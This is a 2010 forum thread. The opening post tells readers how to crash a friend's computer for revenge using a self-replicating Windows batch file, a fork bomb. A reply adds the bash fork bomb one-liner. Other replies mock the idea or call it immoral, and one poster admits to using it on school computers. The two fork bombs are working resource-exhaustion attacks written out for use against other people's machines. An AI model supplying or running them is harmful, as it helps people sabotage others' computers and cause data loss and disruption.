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Title: How to crash someone's computer. No hacks required!
Post by: Suber Bloober on November 30, 2010, 07:35:34 PM
Did your friend put a virus on your computer causing it to crash? Do you feel like getting back at him by crashing his computer? Here's the number one solution to your stress! Best of all: you don't need hacks! Sadly, this doesn't work on Macintosh. :(
Here is what to do:
1. Open Notepad.
2. Type the following:
@echo off
:START
start a.bat
goto START
3. Save your file as a.bat.
4. Click on the file and watch the fun!
Title: Re: How to crash someone's computer. No hacks required!
Post by: Luigalaxy on November 30, 2010, 08:06:45 PM
inb4lock/delete
Title: Re: How to crash someone's computer. No hacks required!
Post by: Luigison on November 30, 2010, 08:17:32 PM
I don't have Notepad on this computer so I tried it in gedit and Noteleaf with no such "fun". 
Title: Re: How to crash someone's computer. No hacks required!
Post by: Black Mage on November 30, 2010, 08:40:42 PM
Looks like someone just "learned" shell scripting.

:(){ :|:& };:
Title: Re: How to crash someone's computer. No hacks required!
Post by: WarpRattler on November 30, 2010, 08:59:53 PM
I was thinking he found it on some twelve-year-old script kiddie's 1337-h4x0r Tripod page.
Title: Re: How to crash someone's computer. No hacks required!
Post by: Lizard Dude on November 30, 2010, 09:23:30 PM
I just tried it and my computer... EXPLODED!!!

You'll be hearing from my lawyers shortly.
Title: Re: How to crash someone's computer. No hacks required!
Post by: nensondubois on November 30, 2010, 10:00:06 PM
I remember doing this to several school computers in protest of them blocking certain websites.
Title: Re: How to crash someone's computer. No hacks required!
Post by: Kimimaru on December 01, 2010, 03:33:33 AM
I personally find this topic pointless and immoral.